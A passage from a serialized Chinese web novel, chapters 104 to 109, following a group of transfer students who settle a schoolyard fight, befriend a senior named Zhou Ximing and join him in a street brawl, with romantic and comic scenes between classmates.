这时门口突然传来陈永的声音:“琛哥不好了!方明明和李绍良跟他们班的人打起来了!”张霆琛皱眉暗骂:“真是没事找事!到哪都不消停!”转头对李辰浩说:“你去看看,别让他们打了,能道歉了事就道个歉。”李辰浩点点头转身就走,王涛想跟着,被张霆琛拦住:“你去干嘛?没听见我说的话?”王涛耸耸肩:“这么怂不像你啊二哥!”
张霆琛没好气地瞪他,彭志龙在一旁劝道:“咱们是来拿毕业证、学东西的,不是来混社会的。之前就是太张扬才惹了那么多事。”王涛其实也明白,只是骨子里那点不安分总在作祟,让他安分学习实在太难,当然,上刘老师的课除外。
李辰浩跟着陈永往厕所走,边走边问:“怎么回事?不是说了要低调吗?”陈永满不在乎:“不清楚,好像因为抽烟的事。”厕所里乌烟瘴气,抽烟的人挤了不少。只见方明明指着对面三个人骂:“借个火而已,牛什么牛!”
“就牛怎么着!”一个浓眉大眼的男生顶了回去。李辰浩推开人群走到方明明身边:“怎么了?”李绍良见他来了
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,腰杆硬了起来:“我们在这抽烟,这几个人借火还嚣张得很,让啊明给他们点烟!”
李辰浩心里有数了,这确实不怪自己人,再能忍也受不了这种挑衅。但他不想惹事,从兜里掏出打火机:“哥几个给我个面子,这事算了吧,一个班的抬头不见低头见,火我给点。”
那浓眉男生却笑了:“哥们挺会来事,但不用你点,让他给我们点上,再道个歉就行。”说着指向方明明。方明明瞬间火了,刚要发作被陈永拉住,他相信李辰浩不会让兄弟难堪,李辰浩肯低头给人点烟已经是底线。李辰浩回头看了看方明明,笑着对浓眉说:“哥们,差不多得了,没必要僵着。”心想让我兄弟给你点烟道歉?做梦!只要不犯大错,他绝不可能让兄弟受这委屈。
浓眉见他好说话,越发得寸进尺:“不行!必须给我们哥三点上,否则”“否则怎么样?”李辰浩的语气冷了下来。浓眉愣了一下,身后的人上前骂道:“给脸不要脸!想出头也不看看自己是谁!”
李辰浩谨记张霆琛的话,一忍再忍。见他没吭声,那几人越发嚣张地笑起来。刚要再说什么,土狗不知从哪冒了出来,一脚就把最前面的浓眉踹飞了,嘴里大骂:“给脸不要!妈的!”
李辰浩知道收不了场了,刚想上手,土狗却在他身后攥了攥他的手腕,一个人冲上去跟三人打了起来。李辰浩拦住想上前帮忙的兄弟,土狗对付这三个绰绰有余,一个人动手总比一群人闹大强。没一会儿,土狗喘着粗气靠墙站着,骂道:“以后长点眼!别给脸不要脸!你们这叫混?纯属混蛋!”
地上的三人被打得懵懵的,浓眉再不敢吭声。土狗冷笑一声对李辰浩说:“这种废柴还用大哥你赔笑脸?垃圾!”李辰浩摇摇头,走到浓眉面前:“这事我替兄弟道个歉,算了吧,真打起来你也看见了”他迟疑了一下,转身离开了。
回去后,李辰浩把经过告诉了张霆琛,土狗低着头不敢说话。张霆琛却笑了:“没事,我只说别惹事,没说兄弟受欺负了要忍着。”土狗松了口气,刚要说话,王涛在一旁嚷嚷:“换我来,非打得他满地找妈!”
话音刚落就被李辰浩一脚踹到一边:“能不能消停点?不服气跟我练练!”王涛立马闭了嘴,其他人见怪不怪地看着他。土狗刚坐下,王雨就跑了过来:“喂!你们刚才是不是打架了?”“你怎么知道?”
第一百零五章:调解
王雨捏着手机的指节泛白,声音带着明显的紧张:“我姐在高二(5)班,刚发消息说,有几个高一的跑到她们班搬救兵,还是她们班老大!我刚才听你们聊天,八成是跟人起冲突了吧?你们可得当心点!”
王涛拍着他后背哈哈大笑,刚要开口吹嘘:“怕啥!跟你说哥几个以前在老学校……”“打住!”张霆琛眼疾手快地打断他,转头对王雨温和一笑,“那能不能麻烦你跟姐姐说一声,我想跟她们班那位同学见一面?”
王雨愣了愣,点头道:“行!下节课课间我带你过去。”张霆琛立刻对邓志辉使了个眼色:“让阿明把今天那三个人的名字发过来。”说完狠狠瞪了王涛一眼,这货再口无遮拦,刚想低调扎根的计划就得泡汤。
下课铃一响,王雨领着张霆琛往高二教学楼走。邓志辉他们摩拳擦掌想跟着,被张霆琛按住:“又不是去打架,人多反而显眼,咱们低调点。”其他人对视一眼,只好留在教室等消息。
到了高二(5)班门口,王雨扒着门框往里喊:“姐!”一个穿白衬衫的女生应声走出,乌黑的长发松松扎在脑后,发尾还别着支银色钢笔。她扫了眼张霆琛,对王雨挑眉:“这就是你说的‘小麻烦’?”
“姐,这是我同学张霆琛。”王雨赶紧介绍,“琛哥,这是我姐王嫣然。”张霆琛打量着王嫣然,眉眼清亮,嘴角带着点漫不经心的笑意,漂亮得带着股生人勿近的飒劲。王嫣然也在打量他,这男生看着清秀文静,眼神却稳得不像高一新生,倒像藏着故事的人。
“姐,快叫人呀!”王雨急得推了她一把。王嫣然回过神,朝班里喊:“周喜铭!有人找!”一个留着寸头的男生笑着走出来,校服袖子卷到手肘,露出结实的小臂:“大美人喊我,啥事这么急?”
“滚蛋!你兄弟找你,不是我。”王嫣然没好气地指了指张霆琛。周喜铭挑眉看向张霆琛,笑容淡了几分:“你找我?”“学长好,”张霆琛语气恭敬却不卑微,“张凤宝、马强、李立,这三位是跟着学长的吧?”
“是又怎样?”周喜铭抱起胳膊,眼神里带着审视。“我的同学和他们有点误会,想请学长帮忙调解下。”张霆琛开门见山,姿态放得很低。
周喜铭刚要说话,王嫣然先开了腔:“周喜铭你磨叽啥?人家都主动找上门了,难不成你还想揪着高一学弟不放?”又转头对张霆琛笑道:“小弟弟别理他,这事姐给你摆平了!”
旁边突然冒出来个黄毛男生,吊儿郎当地靠在门框上:“哟,嫣然姐这是看上小帅哥了?这么快就护上了?”正是张凤宝。“滚远点!”王嫣然瞪了他一眼。
周喜铭哈哈大笑起来,看向张霆琛:“听说,是你的人先动的手?”“是我的一个兄弟动了手。”张霆琛特意加重“一个”,语气诚恳,“我们没有主动挑衅,但动手确实不对,这点我们认。”一句话既认了错,又暗指对方有错在先,给足了周喜铭台阶。
周喜铭显然不信:“一个人?我怎么听说,是一群人把我兄弟堵在厕所揍?”“千真万确,就我一个兄弟动了手。”张霆琛眼神坦荡。“行,给你个机会,”周喜铭收起笑,“中午把你那兄弟叫来,给我这三个兄弟道个歉,这事就算翻篇,怎么样?”
张霆琛却摇了头:“道歉我来替他做,能不能麻烦学长通融下?我那兄弟脾气倔,怕他说话冲再惹麻烦。”周喜铭故作不悦地皱眉:“那我怎么跟我兄弟交代?”
张霆琛突然拉着他往后退了两步,从校服兜里摸出一包软中华塞过去,声音压得很低:“学长,我们几个刚转来,真不想惹事,就想安安稳稳读完高中。这点心意您收下,那三位兄弟那边,我再备两包玉溪赔罪,您帮着说句好话?”
周喜铭捏着烟盒愣了愣,这小子看着文弱,办起事来倒是**湖,懂得先给台阶再递好处。他掂了掂烟盒,挑眉道:“行,这事我帮你压了。但别再有下次。你叫什么?”
“张霆琛。”“小伙子不错,”周喜铭突然笑了,“要不要以后跟着我混?保你在学校没人敢惹。”张霆琛刚要开口,
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被周喜铭按住:“不用急着回答,想好了再说。”说完转身进了班。
王嫣然在旁边阴阳怪气:“周大哥又收人好处了?烟味都飘过来了。”“就两包烟!”周喜铭的声音从班里飘出来。“没正经!”王嫣然瞪了眼教室门,又若有所思地瞟了眼张霆琛,这学弟看着清秀,怎么浑身透着股不简单的劲儿?
“走了王雨。”张霆琛松了口气,冲王嫣然点头道谢,“麻烦学姐了。”回教室的路上,王雨被他夸得飘飘然,挠着后脑勺笑道:“没事没事,谁让我是班长呢!以后有事尽管找我!”
刚进班,邓志辉他们就围了上来:“怎么样了?搞定没?”“搞定了,给了几包烟。”张霆琛淡淡道。“靠!凭啥给他们烟?”王涛不服气地嚷嚷。“靠什么靠?”李辰浩一把推开他,“安分点!别没事找事!”
张霆琛叮嘱道:“让大强他们最近都收敛点,真想玩,等上了高三再说。咱们现在首要任务是稳住。”“知道了。”众人齐声应道。王涛还是不解:“二哥,你直接找那三个人道歉不就完了?非得找他们老大?”
“李辰浩说他们是仗势欺人的货,跟他们道歉只会得寸进尺,找他们上家反而能一次性摆平。”张霆琛解释道,眼神里闪过一丝不易察觉的锐利。
旁边的王雨看得目瞪口呆,李辰浩他们明明和张霆琛勾肩搭背称兄道弟,可张霆琛一正经说话,几人立马收敛起玩世不恭,那股子发自内心的尊敬藏都藏不住。他实在想不通,这个看着和自己差不多的清秀少年,怎么会有这么强的号召力?
王雨不知道,正是这副人畜无害的外表,让张霆琛的不少敌人栽了跟头,甚至有人差点因此丢了性命。未来那些以貌取人的家伙,迟早会后悔招惹这个看似柔弱的少年。
张霆琛望着窗外的香樟树,心里盼着能有段平静的高中生活。可他忘了,骨子里的血性不会因环境改变而冷却,身边这群兄弟也不是能闲得住的主。新学校的风,才刚刚开始吹起,一场硬仗已在不远处等着他们。
第一百零六章:帮忙
那场小风波过后,连着几天校园都风平浪静。张霆琛一行人刻意保持低调,他趁机把风行中学的势力分布摸了个大概。这所学校和之前待的地方不同,没有呼风唤雨的总瓢把子,顶多是些学生拉帮结派混日子。像刚打过交道的周喜铭,在高二就算有头有脸的;还有高二的孙云海,高三的孙绍强,听说这人仗义能打,身边总跟着不少人,但不爱主动惹事。
张霆琛暗自点头,这才像正常学校该有的样子。他琢磨着,老家学校乱成一锅粥,是因为黑道猖獗带坏了风气;广市这边虽然有钱人多,不少还是漂白过的黑道后代,但家长们巴不得孩子走正道,有经济撑腰,想在学校聚起几十号人不难。可在这种没什么背景撑腰的学校里能站稳脚跟,才真见本事,就像他自己。
周四中午,张霆琛和李辰浩等人出校吃饭,正说说笑笑间,王涛突然指着前方低呼:“哥几个快看,那不是周喜铭吗?”张霆琛顺着他指的方向望去,果然看见周喜铭被一群校外青年围在街角,看架势是起了冲突。李辰浩低声问:“帮不帮?”
“先看看,没动静就别露头。”张霆琛沉声道。邓志辉在一旁点头附和。可话音刚落,对面就先动了手。周喜铭没防备,被一脚踹得踉跄后退,但他反应极快,爬起来就回了一记重拳。奈何对方十来个人,他们这边只有五个,眼看就要吃大亏。这时一个黄毛拎起路边的垃圾桶,照着周喜铭后脑勺就砸了过来。
“兄弟,没必要下这么重手吧?”一只手像铁钳似的扣住黄毛手腕,正是张霆琛。他笑眯眯的,手上力道却不含糊。黄毛想甩脱,反被攥得更紧,手腕一拧,垃圾桶哐当落地。周围人瞬间警惕起来,领头的刀疤脸站出来冷笑:“周喜铭可以啊,还藏了伏兵?我们走!”
十来个人撂下狠话转身就撤,被张霆琛卸了家伙的黄毛临走时狠狠剜了他一眼。张霆琛无奈一笑,回身把周喜铭拉起来。周喜铭抹了把嘴角的血迹,重新打量起这个高一学弟:“可以啊小子,一句话就把人吓走了?”
“哪能啊,”张霆琛谦虚道,“不过是我们人多,他们怕了而已。”周喜铭心里清楚,嘴上却不落空:“不管怎么说,谢了。我欠你个人情。”“铭哥这话见外了,上回你帮我们解围,我们还没道谢呢。”张霆琛拍了拍他身上的灰。
周喜铭越看越觉得这学弟不简单,临危不乱的劲儿,绝不是普通学生。但他没多问,笑着提议:“一起吃个饭?就当谢你们援手。”张霆琛没推辞,一行人浩浩荡荡往饭馆走。
饭桌上气氛微妙,周喜铭三番五次想套话,都被张霆琛打太极糊弄过去。反倒是王涛憋不住,一个劲追问冲突缘由。周喜铭被缠得没法,只好苦笑:“你们班王雨的姐姐王嫣然,跟我同班,知道吧?”张霆琛心里大概有了数,没吭声,只示意他继续说。
“威名中学高三的王凯想追她,被拒了。”周喜铭灌了口啤酒,“那天我陪王嫣然买东西,拎着大包小包跟在后面,正好被王凯撞见”
“我就说!”王涛拍着桌子嚷嚷,“你俩肯定有一腿!”李辰浩一巴掌呼在他后脑勺:“瞎咧咧什么!”又转头对周喜铭道歉,“不好意思,这货脑子缺根弦。”
“没事没事,”周喜铭被逗笑了,“真不是你们想的那样。那王凯上来就摆打架的架势,我总不能跟他解释我只是个拎包的吧?太掉价了!”
张霆琛听着直点头,这周喜铭倒是有骨气,值得交。王涛举着酒杯站起来:“够爷们!我就佩服这样的!干一个!”周喜铭被他的自来熟逗乐,张霆琛等人无奈摇头。王涛还在嚷嚷:“我喜欢老爷们不代表我取向有问题啊!”这下连周喜铭都笑喷了。张霆琛端起酒杯起身:“既然碰上了就是缘分,铭哥以后有用得着我们的,尽管开口。干了!”
众人纷纷举杯。跟着张霆琛的兄弟都知道,他从不放空话,这话一出,就是真打算搭把手了。饭后邓志辉拉着李辰浩嘀咕:“怎么突然帮他了?会不会太冲动?”李辰浩耸耸肩:“他怎么想,咱们怎么做呗。我瞅着,他是真瞧上周喜铭这人了。”
“可他不是冲动的人啊……”“男人嘛,”李辰浩勒住他脖子笑,“不惹事,但绝不怕事。能扛事就行!”两人在马路边闹作一团,互相掐腰捏胸,活像俩没长大的孩子。
傍晚放学,陈永气喘吁吁跑进来:“琛哥!周喜铭在高二高三叫人呢!咱们怎么办?”张霆琛皱眉沉思,李辰浩走过来拍他肩膀:“沉住气。”他何尝不懂,主动凑上去显得巴结,不闻不问又不够仗义,这步棋得走得巧。
正琢磨着,周喜铭的电话来了。张霆琛接起电话,声音带笑:“铭哥找我?”“来学校门口,一起去瞅瞅?”“马上到!
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挂了电话,张霆琛给众人使个眼色,一群人快步往校门口走。远远就看见三十多号人聚在路边,高二高三的都有。周喜铭见他们来,高声招呼:“哥几个来了!”他拉着张霆琛介绍身边的人,恰巧高二的孙云海也在。
没等寒暄几句,路口就涌来一群穿威名中学校服的人,领头的正是中午那个刀疤脸。周喜铭凑到张霆琛耳边轻笑:“一会儿还得靠你们。”
“明哥说笑了,这不还有三十多号人嘛。”“这里面一半是打酱油的,”周喜铭偏头道,“真动手还得看自己人。”张霆琛不置可否地笑了。学生群架就是这样,五十人里能有二十五个真上就不错,大多是来凑数壮胆的。
两边刚碰头,刀疤脸就嚣张喊话:“今天不关旁人的事,滚远点!溅一身血别怪我没提醒!”“谁溅谁的血还不一定!”周喜铭毫不示弱。
刀疤脸叼着烟自我介绍:“我叫王凯。我大哥是飞云道车神,识相的就离开王嫣然,再摆几桌赔罪!”话音未落,周喜铭一脚就踹了过去。两边瞬间混战成一团。张霆琛没急着动手,紧紧跟在周喜铭身后护着他,出手必让对方失去战斗力。这场架本没悬念,却拖了许久,李辰浩他们专等两边打得精疲力尽时才动手收拾残局。
“砰!”王涛一脚把个黄毛踹进垃圾桶,拍着手不屑道:“一群垃圾!”周喜铭从地上揪起王凯,反手就是一巴掌:“告诉你,我不是王嫣然老公!就算是,也轮不到你指手画脚!再敢来,废了你!”
就在这时,学校保安举着橡胶棍冲了出来。张霆琛和周喜铭对视一笑,众人默契地四散逃窜。保安们追了几步就停了,谁都知道,这不过是走个过场,学生跑快点,大家都省心。
甩开保安后,一群人瘫在街角喘气。张霆琛弯着腰笑道:“这些保安够能跑的,刚才好像有人被逮了?”周喜铭坐在台阶上擦汗:“悬得很。”王涛紧张道:“被抓的不会把咱们供出去吧?”
周喜铭哈哈大笑:“放心,他们只会说校外的来挑事,我们维护学校尊严英勇迎战。老师问谁带头?不知道。问为什么打?不知道。”众人被逗得直乐,王涛又问:“那问谁参与了呢?”
“那就听天由命喽,”周喜铭挑眉,“不过放心,你们是来帮忙的,不会牵扯到你们。”邓志辉好奇道:“你好像一点都不怕?”
第一百零七章:未说破
周喜铭把胸脯一拍,底气十足地嚷嚷:“怕什么?真出了事我一个人扛!不就是打了几个人吗?老师能把我怎么样?就算校长来了,我也照样站直了说话!”众人面面相觑,谁都猜不透他哪来的底气。不过张霆琛一行人心里有底,有邓天啸照着,肯定出不了大岔子。
张霆琛笑着摆手:“多大点事,不就是打了场架吗?又没出人命,顶多被叫去训两句。”他说得云淡风轻,仿佛在说今天天气不错,反倒让周喜铭越发疑惑:这学弟到底什么来头?怎么比自己还淡定?
周喜铭没多问,拍着胸脯保证:“哥几个放心,只要不是闹出初等中学那种大事,在这学校我罩得住!以后有事报我名字,保准没人敢惹你们!”话虽狂傲,张霆琛却毫不在意,只淡淡说了句“谢了”。这反应让邓志辉和李辰浩更纳闷了,他们认识的张霆琛,从不是会屈居人下的主,这么做肯定另有打算。
接下来的聊天里,周喜铭突然提到高等中学的群殴事件,眼睛发亮:“你们知道吗?高一学生组织几百号人硬刚高二高三,居然大胜!听说还出了人命,带头那几个却全是轻伤,简直是高中神话!那几个领头的,简直是我偶像!”
他越说越兴奋,坐在马路牙子上唾沫横飞。王涛他们在一旁憋笑憋得肩膀直抖,张霆琛也暗自苦笑,什么时候自己成神话了?这传言也太离谱了。他敢肯定,要是现在告诉周喜铭“你偶像就在这儿”,对方绝对以为他疯了。
一群人聊到晚上八点多才散,张霆琛突然拍着大腿跳起来:“糟了!忘了梁颖还在等我!”话音未落就冲过马路打车,连解释都来不及。众人都心知肚明他去干嘛,只有周喜铭一脸懵:“这是?”
“他媳妇等着呢,放人家鸽子喽!”王涛幸灾乐祸地笑。其实最乐的是李辰浩,他一直不喜欢梁颖,反倒觉得谢诗韵又漂亮又家世好,对张霆琛以后肯定有帮助。只是这话他没法说,只能把念头藏在心里。
张霆琛火急火燎赶到约定地点,就见梁颖蹲在路边,裹着围巾撅着嘴,手上还戴着棉手套。他赶紧跑过去:“媳妇儿,我来晚了!”
梁颖头都不抬,气鼓鼓地不理他。张霆琛一看这架势是真生气了,赶紧编瞎话:“老师留我补课来着,一忙就忘了时间……”
“哼!”梁颖终于抬头,眼圈红红的,“晚了不会发消息吗?你看看未接来电!都冻死我了!”眼泪说着就吧嗒吧嗒往下掉。张霆琛赶紧把人搂进怀里:“我错了我错了!要不今晚去我家?让我妈给你做好吃的赔罪?”
梁颖犹豫着不动。张霆琛趁热打铁:“你不是有外出条吗?让谢诗韵帮你糊弄下查宿老师,明天拿着条回校就行。”“真的行吗?”梁颖小声问。
“听我的准没错!”张霆琛拍胸脯保证,“我给谢诗韵打电话……”“别!”梁颖赶紧拦住,“你打她肯定不乐意,她对你那点心思,还是我来吧。”
俩人拦了辆出租车往张霆琛家赶。张泽夫妇一看梁颖来了,立马张罗着做了满满一桌子菜,弄得梁颖受宠若惊。其实张泽夫妇早就见过梁颖,对这懂事的姑娘很是喜欢。
饭后张泽把张霆琛拉到一边:“送她回去还是住这儿?”“太晚了,住这儿吧?麻烦您二老了。”张霆琛有点不好意思。“小兔崽子跟我客气什么!”张泽瞪他一眼,“从你喊第一声爸妈起,你就是我亲儿子!再跟我见外,我可真生气了!”
张霆琛赶紧改口:“对不起爸!我口误…”张泽笑了,突然凑近挤眉弄眼:“那你打算让她单睡,还是跟你一起?”这问题太直接,张霆琛脸都红了,支支吾吾说不出话。张泽拍着他肩膀大笑:“害羞什么!我看就睡一起吧,增进感情!哈哈哈!”那笑声怎么听都透着点猥琐。张霆琛暗自纳闷,平时正经的张叔叔,今天怎么画风突变?
这时何欣走过来,拍了张泽一下:“老不正经的!别教孩子坏!听妈的,别理他瞎说。”张泽不乐意了:“凭什么你是妈我是他?我怎么就教坏了?”
“你那点花花肠子我还不知道?”何欣叉着腰,“就知道教孩子不正经!”“我哪有!”眼看俩人要吵起来,张霆琛赶紧溜了,跟李辰浩打了声招呼就拉着梁颖回房。梁颖坐在床上好奇地问:“你们家好特别,刚才听李辰浩也喊爸妈,你以前不是说……”
“咱家情况特殊,以后慢慢告诉你。”张霆琛赶紧打断,“你今晚就睡这儿?”梁颖没多问,心里猜着或许他们是孤儿。她指了指床:“那你睡哪?”张霆琛一脸坦然:“这就是我
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房间啊。”
梁颖腾地站起来:“那咱俩要睡一起?!”张霆琛嘿嘿笑不说话。梁颖拉着他胳膊撒娇:“老公你出去吧,咱俩睡一起不好……”脸红得像苹果。张霆琛铁了心不动弹,死猪不怕开水烫。梁颖没辙,只好妥协:“约法三章!晚上不准做奇怪的事!”
“放心!你当老公是什么人?”张霆琛说着就窜起来换睡衣。其实他真没别的想法,就是单纯想一起睡。换完衣服,梁颖指着自己的外衣:“我穿什么睡?总不能穿这个吧?”
“穿凉快的啊。”“张霆琛你大爷!给我找衣服去!”一个枕头朝他飞过来。张霆琛稳稳接住:“穿我的吧,就是有点大,凑合一晚?”“行。那你出去,我换衣服!”“我转过去就行,看看又不掉肉。”“不行!”梁颖态度坚决。
“求求你了,别赶我出去”张霆琛装出可怜兮兮的样子。梁颖心软了:“那你不准回头!回头你就死定了!”还冲他挥了挥拳头。张霆琛乖乖转头,听着身后窸窸窣窣的换衣声,一动不动。梁颖换完衣服,刚说“可以回头了”,却发现张霆琛正对着墙上的镜子偷瞄,镜子里赫然映着她的影子!
“张霆琛你不要脸!”梁颖尖叫着扑上去,“我跟你拼了!”张霆琛本想装正经,没想到镜子露了馅,只好笑着躲闪。俩人在床闹着闹着,张霆琛不小心压在了梁颖身上,张霆琛低头亲了上去,可当他想进一步时,梁颖轻轻推了推他:“不行…”
张霆琛猛地给了自己一巴掌,翻身躺到一边,声音闷闷的:“是我不好,以后不会了。”梁颖想说什么,却被他按住肩膀。张霆琛搂过她:“睡吧,是我不对。”
他心里其实很纠结,梁颖的世界里,只有好好学习考大学才是正途,可他的人生注定不会平庸。**这段感情能走多远,现在占有她,才是真的害了她。他的戒条从来都是:负不起责任的事不做,做了就必须担当。而梁颖的纠结,藏在泛红的眼眶里,她知道这样对男生不公平,可她还没准备好把自己交出去。
一夜无话。第二天早饭过后,几人一起上学,昨晚的尴尬早已烟消云散,一路欢声笑语。只是那份没说破的心事,像晨雾般萦绕在两个少年心头,伴着他们走进校门,迎接新的一天。
你一百零八章:介绍对象
送走梁颖,李辰浩立马凑到张霆琛身边,挤眉弄眼地问:“怎么样?”“什么怎么样?”张霆琛装傻。
“少来这套!”李辰浩胳膊肘怼了他一下,“你们俩昨晚……嘿嘿。”张霆琛笑骂:“你什么时候也这么八卦了?我俩的爱情纯洁得很,别想歪!”
“谁信啊?”李辰浩挑眉挑衅,“不信我问问兄弟们,看他们信不信你的‘纯洁爱情’。”“你别找事啊!”“找事怎么了?练练?”李辰浩活动着手腕,一脸欠揍的表情。张霆琛也来了劲:“练就练!自从我伤好,咱俩还没好好比过呢!”
李辰浩抬腕看表:“现在七点十分,咱俩比谁先跑回学校,五站地!输了的就得老实交代昨晚的事,你懂的。”
“我交代什么?本来就啥也没有……”话没说完,李辰浩已经窜了出去,边跑边喊:“再不跑就迟到了!”张霆琛骂了句耍赖,拔腿就追。
俩人跟疯了似的在街上狂奔,路人还以为后面有追债的,纷纷躲到路边。二十分钟后,学校门口的邓志辉和王涛正聊着天,突然看见两个身影风风火火冲过来。王涛眯着眼:“那是二哥和大哥吧?跑这么急干嘛?”
“看着像,”邓志辉皱眉,“别是出事了吧?”话音刚落,李辰浩已经冲到近前,论体力他确实比张霆琛稍胜一筹。“让开让开!”他朝挡路的邓志辉喊。
眼看李辰浩要赢,张霆琛急中生智,扯着嗓子喊:“拦住他!李辰浩要做傻事!快啊!”邓志辉一看张霆琛一脸焦急,赶紧伸手去拦李辰浩。李辰浩来不及解释,想推开他,却**志辉一个扫堂腿绊倒在地,结结实实摔了个屁股墩。
张霆琛踩着他的后背冲过校门,五秒后瘫在地上大笑:“哈哈!你输了吧!”李辰浩趴在地上骂:“你大爷的!这叫耍赖!无赖!”“成王败寇,输了就是输了。”张霆琛喘着气,“说好的,输了的要让赢家给介绍女朋友!”
邓志辉和王涛站在一旁一脸懵,这俩人怕不是有什么大病?但李辰浩没真生气,他就喜欢张霆琛这股子脑子活络的劲儿,“成王败寇”这话,也确实只有真有底气的人才敢说。
张霆琛背着书包一路笑进教室,等大家知道这荒唐的赌约后,全都笑得前仰后合。毕竟在所有人眼里,李辰浩一直是沉稳靠谱的大哥,给这样的人介绍女朋友,想想就觉得有无数搞笑桥段要上演。
一整节课,张霆琛满脑子都在琢磨给李辰浩找个什么样的姑娘,下课铃响了还在走神。这时土狗和大强从外面晃进来,一屁股坐到他对面:“琛哥!给咱浩哥介绍对象这事儿,你有谱了没?”
张霆琛摸着下巴沉思,邓志辉在一旁搭腔:“我觉得三班的李梦雅不错,性格特开朗。”“去你的!邓志辉你活腻了?”李辰浩一听这名字就炸了,张霆琛纳闷:“怎么了?名字挺好听的啊。”
大强在一旁笑得直拍桌子:“那姑娘体重快赶上我了,你说怎么了?”张霆琛噗嗤笑出声,冲李辰浩挤眉弄眼:“愿赌服输啊,我们介绍谁,你都得忍着!”李辰浩眼珠一转:“我是同意你介绍,但没说一定会成啊!嘿嘿。”
“没事,”张霆琛慢悠悠道,“我们可以天天给你介绍,你还必须得去见,不然就是赖账!”“靠!你在这等着我呢?”李辰浩瞪着眼,“真介绍李梦雅,我立马跟你们绝交!什么人啊这是。”
“让你去就去,哪那么多废话!”王涛在一旁起哄。李辰浩别的不怕,就烦王涛这看热闹不嫌事大的劲儿,二话不说对着他屁股就踹了一脚。王涛立马炸毛:“靠!你就敢欺负我?有本事动别人啊!”
“还敢顶嘴?今天非得练练你!”李辰浩说着就扑了上去。这俩人打闹时,谁也不会插手,王涛从不找救援,只不过每次都是他被按在地上摩擦。李辰浩三下五除二把人按在桌上:“服不服?”
“服了服了!浩哥饶命!”王涛哀嚎。“瞧你这没骨气的样!”土狗在一旁笑。“我怂我乐意,碍着你了?”王涛梗着脖子回嘴。这时王雨凑过来,好奇地问:“琛哥,你们感情怎么这么好啊?”
“打出来的呗!”大强在一旁接话。王雨不认识大强,赶紧礼貌地打招呼:“我叫王雨,你好!”“客气啥,叫我大强就行。”张霆琛突然拍了拍王雨:“哎,你姐现在有男朋友没?”
王雨一愣,随即笑道:“你怎么跟我姐一样啊?她昨晚还问我你有没有女朋友呢!”“哦?”张霆琛眼睛一亮,彭志龙在一旁插嘴:“二哥,艳遇来了啊!”张霆琛没好气地瞪了他一眼,转而对王雨小声说:“你帮我问问你姐,觉得李辰浩怎么样?下午给我回话,行不?”
王雨拍着胸脯:“包在我身上!”说完就回了座位。邓志辉凑过来:“这王雨还挺热情。”“人不错,好相处。”张霆琛点头,“对了,昨天打架的事,学校没动静?”
“听说在查,校门口有监控。”邓志辉压低声音,“不知道拍到没。”“怕啥,”王涛满不在乎,“真拍到了再说。”张霆琛却一脸淡定:“这事不用咱们操心,有周喜铭呢。他中午要是找咱们,就说明没事。”
果然,下课铃刚响,周喜铭就晃进了教室,一进门就喊:“走啊,吃饭去!我请客!”众人对视一眼,都松了口气。张霆琛笑着站起来:“走着!”阳光透过窗户照在少年们脸上,昨天的风波仿佛已被晨风吹散,只留下满教室的欢声笑语。
几人刚走出教室,就撞见了迎面走来的王嫣然。周喜铭正勾着张霆琛的肩膀往外走,王嫣然一眼瞥见,立马叉着腰骂道:“周喜铭你要不要脸?人家好好一个高一学弟,你老缠着人家干嘛?又想欺负人是不是!”说着一把将周喜铭的胳膊从张霆琛肩上甩开。
周喜铭被推得一个趔趄,满脸茫然:“你脑子进水了?我们去吃饭!”“吃个屁!”王嫣然护犊子
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似的把张霆琛拉到身后,“别以为我不知道你那点心思,说吃饭其实就是想找茬打架!弟弟你别信他,有姐姐在,他不敢怎么样!”
张霆琛在一旁憋笑,这王嫣然简直是活宝,哪来这么多戏?周喜铭急得脸都红了,一个劲解释:“真不是你想的那样!我们就是去吃饭!”可越解释越乱,最后急得手舞足蹈,对着张霆琛喊:“你倒是说句话啊!这大小姐我实在惹不起!”
张霆琛看够了热闹,赶紧打圆场:“学姐,我们真和好了,约好一起吃饭的。”王嫣然狐疑地上下打量他,压低声音问:“是不是他威胁你这么说的?别怕,跟姐姐说!”
张霆琛差点被气笑,这姑娘的脑洞也太大了。没办法,他只好提议:“要不你跟我们一起去?省得你担心我被欺负。”“这还差不多!”王嫣然立马点头,转头瞪周喜铭,“我跟去盯着,省得你耍花样!”
周喜铭气呼呼地抱怨:“什么事啊这是!”周围的人互相使眼色,强忍着笑意,这王嫣然也太有意思了。邓志辉凑到张霆琛耳边嘀咕:“我看不用给浩哥说媒了,人家这是看上你了吧?”
“一边去!别瞎扯!”张霆琛没好气地拍开他,身后传来一阵窃笑。一行人找了家小饭馆,人多坐了两桌。王嫣然非要挨着张霆琛坐,王雨也沾姐姐的光,加入了饭局。
王涛扒着碗边问:“铭哥,昨天的事怎么样了?没被老师发现吧?”周喜铭眼神闪烁了一下,含糊道:“什么事啊?忘了。”“靠!你这记性也太差了!”王涛瞪眼,“就打架那事啊!”
周喜铭这才松口,声音压得很低:“放心吧,解决了。三班的小斌把我卖了,不过被我吓唬了几句,他没敢多说。现在没事了。”
话音刚落,王嫣然放下筷子:“你们说什么呢?周喜铭你给我说清楚!”“没什么!”周喜铭赶紧摆手。他身边的马平没眼力见,顺口接道:“还不是因为你?那个王凯……”
“闭嘴!”周喜铭赶紧呵止,可已经晚了。王嫣然站起来,盯着周喜铭问:“马平说的是不是真的?你昨天跟王凯打架了?就因为我?”
周喜铭被问得结结巴巴,半天说不出话。王嫣然看着他脸上没消的淤青,瞬间急了:“我就知道!你昨天脸上的伤是这么来的!跟你说过别多管闲事!你要是再这样,我就跟你绝交!”说完推开椅子,转身就走。
满桌人都愣住了,谁也没料到会是这局面。周喜铭望着她的背影,无奈地叹气:“我就知道会这样”马平赶紧道歉:“铭哥对不起,我不知道她会生气”
“不关你的事。”周喜铭摆摆手,端起酒杯猛灌了一口,“她就这样,总爱瞎操心。”张霆琛看着周喜铭落寞的样子,心里有点不是滋味。这看似大大咧咧的高二学长,好像也有不为人知的细腻心思。饭馆里的气氛一下子安静下来,刚才的热闹仿佛被王嫣然的怒火浇灭了一半。
第一百零九章:校门围堵
周喜铭不愿多说,张霆琛也不好追问。但他总觉得王嫣然的怒气不简单,凭着直觉,这事或许日后用得上。下午课间,他找到王雨:“你姐今天为啥气冲冲地走了?”
王雨支支吾吾:“额……这个……”“别磨磨蹭蹭的,像个老爷们不?”王涛不知从哪冒出来,抱着胳膊打趣。王雨看着斯文,骨子里却倔,最恨别人说他不男人。被这么一激,脸憋得通红。张霆琛瞪了王涛一眼,赶紧打圆场:“别理他,你跟我说说,到底咋回事?”
